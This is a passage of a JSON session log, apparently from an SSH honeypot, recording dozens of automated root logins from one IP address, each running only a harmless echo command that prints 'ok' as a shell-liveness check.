  "started_at": "2026-08-23T08:09:38.041545+00:00",
  "ended_at": "2026-08-23T08:09:40.288265+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "733bdaa2-8c28-437c-b4d3-a3e789d50ae3",
  "name": "fearless-indigo-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60652,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:35.642569+00:00",
  "ended_at": "2026-08-23T08:09:37.211198+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ded7383e-9d8c-43d8-b3b6-df84d75e91ac",
  "name": "mottled-downy-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60646,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:33.851595+00:00",
  "ended_at": "2026-08-23T08:09:35.000607+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fedd65a7-c13a-4830-a4e1-bbd0093ea778",
  "name": "tender-flinty-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60640,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:31.059668+00:00",
  "ended_at": "2026-08-23T08:09:33.208528+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cf7efb5c-6591-4936-8cac-e1fbf1ec9cbd",
  "name": "whispering-lunar-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:28.424468+00:00",
  "ended_at": "2026-08-23T08:09:30.349301+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "17f2e238-48be-430e-a0dc-cc07976ac70d",
  "name": "craggy-plucky-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44526,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:26.221895+00:00",
  "ended_at": "2026-08-23T08:09:27.650993+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "69e63c01-41c8-4385-b155-dd3a7bf14b2b",
  "name": "stormy-fierce-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44522,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:23.186398+00:00",
  "ended_at": "2026-08-23T08:09:25.427152+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "88280ae2-b3db-43ef-9591-bf04729a8b5e",
  "name": "scarlet-oaken-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44508,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:21.105444+00:00",
  "ended_at": "2026-08-23T08:09:22.361641+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "81e4e173-25de-417f-afb7-97458b8b261d",
  "name": "plush-rambling-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44500,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:18.968562+00:00",
  "ended_at": "2026-08-23T08:09:20.465502+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "10ae9c97-7c0b-442d-8c70-99c87e67991a",
  "name": "orderly-sleepy-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:16.008674+00:00",
  "ended_at": "2026-08-23T08:09:18.266073+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "12a62165-c577-4f87-ba3d-75b2406298a8",
  "name": "idle-brave-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:13.584058+00:00",
  "ended_at": "2026-08-23T08:09:15.282636+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "436048bd-8b09-4084-8744-1f67f8142f99",
  "name": "quaint-upland-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47440,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:11.747725+00:00",
  "ended_at": "2026-08-23T08:09:12.900944+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8178cd39-5668-4a8d-b3e3-26c413d28fb6",
  "name": "icy-sandy-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39244,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:08.844508+00:00",
  "ended_at": "2026-08-23T08:09:10.991556+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5ccc34bb-767d-4dbc-ab8a-62d66280e0fd",
  "name": "balmy-velvet-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39228,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:07.162524+00:00",
  "ended_at": "2026-08-23T08:09:08.075585+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "edd32637-9e3e-450a-bdc8-58814a20afca",
  "name": "jovial-fleeting-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39218,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:04.326797+00:00",
  "ended_at": "2026-08-23T08:09:06.455598+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5582d25b-58fd-4746-8998-32e3655119d8",
  "name": "gritty-quaint-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:02.098218+00:00",
  "ended_at": "2026-08-23T08:09:03.570387+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1f91413c-1661-407f-bf82-e9549444bc3c",
  "name": "seaward-bold-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39202,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:59.802674+00:00",
  "ended_at": "2026-08-23T08:09:01.333632+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "64fe29c0-791e-4359-9729-50c621983bf4",
  "name": "meadow-thorny-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33340,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:57.319719+00:00",
  "ended_at": "2026-08-23T08:08:58.996334+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "da8066a8-405c-46d8-8dca-5154b96c031b",
  "name": "boreal-feral-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33336,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:55.099856+00:00",
  "ended_at": "2026-08-23T08:08:56.632787+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "00e20714-8ceb-467d-adc9-353d8e6956dc",
  "name": "graceful-thrifty-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33332,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:53.514685+00:00",
  "ended_at": "2026-08-23T08:08:54.458489+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "34dc4190-5959-4ec4-9e6f-dcd70a0eec90",
  "name": "velvet-proud-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33326,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:51.226812+00:00",
  "ended_at": "2026-08-23T08:08:52.695916+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1609d672-38bb-429f-b4bf-3d43fd7d7ac8",
  "name": "rugged-mighty-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33312,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:49.409964+00:00",
  "ended_at": "2026-08-23T08:08:50.492546+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "16fdd2a4-1afd-4765-82dd-f4cb4665d5dd",
  "name": "gritty-coral-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36844,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:46.624654+00:00",
  "ended_at": "2026-08-23T08:08:48.720569+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "323b932c-5b34-47ee-a1e7-5195e6192e65",
  "name": "mossy-smooth-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36828,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:43.814047+00:00",
  "ended_at": "2026-08-23T08:08:45.826367+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "00058d69-961e-45e6-b4c3-06ea087010d9",
  "name": "northern-chilly-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36812,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:40.822554+00:00",
  "ended_at": "2026-08-23T08:08:43.090196+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "96406b5e-c35a-4afb-a9c8-6e3e61615359",
  "name": "coastal-quartz-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36796,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:39.018195+00:00",
  "ended_at": "2026-08-23T08:08:39.950302+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "253d7927-f02f-4918-a4ca-63f4de4cbca4",
  "name": "marine-keen-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36440,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:36.592685+00:00",
  "ended_at": "2026-08-23T08:08:38.358497+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a029b98f-8e75-4f0c-bb23-e9e8f0a9dcb0",
  "name": "gilded-genial-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36438,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:34.262128+00:00",
  "ended_at": "2026-08-23T08:08:35.929560+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b97905a0-9b86-4c5d-bfa6-17f062e476b7",
  "name": "ginger-lucid-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.130.249.176",
  "src_port": 53372,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:08:32.018182+00:00",
  "ended_at": "2026-08-23T08:08:33.491734+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a9941e6e-e295-44b0-8c6d-d4548d7b8235",
  "name": "golden-eager-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36424,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:31.737196+00:00",
  "ended_at": "2026-08-23T08:08:33.474748+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9f2d649e-0500-47d6-8575-8645f0d4ebf3",
  "name": "slender-deft-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36416,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:29.859761+00:00",
  "ended_at": "2026-08-23T08:08:31.081668+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4b522793-4623-4284-9f7e-50a1186d331a",
  "name": "nautical-canny-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33700,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:27.015291+00:00",
  "ended_at": "2026-08-23T08:08:29.100296+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e29d3e18-e35d-4f3d-81fb-892bed46a97d",
  "name": "merry-jolly-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:24.956207+00:00",
  "ended_at": "2026-08-23T08:08:26.179646+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4a58eaa0-de5e-4238-8447-b9491b11b271",
  "name": "nimble-inland-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33686,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:22.280089+00:00",
  "ended_at": "2026-08-23T08:08:24.328489+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c7a4ea19-404f-4196-b3de-9abdbc2e130e",
  "name": "ancient-knotted-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33672,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:20.514596+00:00",
  "ended_at": "2026-08-23T08:08:21.647038+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "414331a7-343d-4997-bfe8-50c7f1ca1bec",
  "name": "nautical-ancient-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42232,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:18.525260+00:00",
  "ended_at": "2026-08-23T08:08:19.828581+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "31e11470-92b0-446e-9ee2-5a355c454153",
  "name": "silent-lawful-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42220,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:16.955577+00:00",
  "ended_at": "2026-08-23T08:08:17.838456+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "30e87d94-7e2a-419b-a9df-32ae472efb92",
  "name": "sunlit-windswept-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:14.577710+00:00",
  "ended_at": "2026-08-23T08:08:16.234579+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bd19cae5-2d55-45c1-a1a0-3df470631bdc",
  "name": "vernal-fleeting-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42212,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:11.614114+00:00",
  "ended_at": "2026-08-23T08:08:13.883932+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "be3bcd1f-6b9e-4b9f-b49b-5ad0dc5a73ba",
  "name": "peaty-lanky-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42204,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:08.944475+00:00",
  "ended_at": "2026-08-23T08:08:10.938619+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f375cc5b-6ce3-4fc5-a5f5-0f4dbc7d9d5c",
  "name": "daring-polar-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51280,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:06.190425+00:00",
  "ended_at": "2026-08-23T08:08:08.210362+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d67365f9-8515-452e-8e21-8127a41d0bd8",
  "name": "salty-bitter-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51270,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:03.257989+00:00",
  "ended_at": "2026-08-23T08:08:05.480306+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "30cba707-88f1-472d-a68a-cd9749b09aef",
  "name": "silent-rustic-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51260,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:08:00.794095+00:00",
  "ended_at": "2026-08-23T08:08:02.572665+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f8f4bf16-92c7-4fa4-b2a0-5f6a92e63bc1",
  "name": "gilded-windswept-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51244,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:59.198024+00:00",
  "ended_at": "2026-08-23T08:08:00.179421+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6b7d0e6a-daec-4035-9f2d-81e595bf6846",
  "name": "placid-cunning-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47088,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:56.546272+00:00",
  "ended_at": "2026-08-23T08:07:58.427147+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "46bcfaf9-eac8-426a-9986-32fcf735c7ff",
  "name": "austere-thorny-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:54.154898+00:00",
  "ended_at": "2026-08-23T08:07:55.780441+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b4d56793-8a71-4253-833c-b5295d880fe8",
  "name": "lawful-dewy-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:51.414909+00:00",
  "ended_at": "2026-08-23T08:07:53.481122+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "df383d51-34fc-4463-b009-ad87a5c7e16b",
  "name": "lunar-emerald-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47058,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:48.930632+00:00",
  "ended_at": "2026-08-23T08:07:50.676247+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "27cceffd-11f7-482d-9698-fc18c0b8a7ef",
  "name": "ruddy-freckled-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:46.712686+00:00",
  "ended_at": "2026-08-23T08:07:48.189008+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3fc2ca10-914a-42e8-98c6-5170a3e75eec",
  "name": "mighty-alpine-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51094,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:07:44.349392+00:00",
  "ended_at": "2026-08-23T08:07:45.979285+00:00",
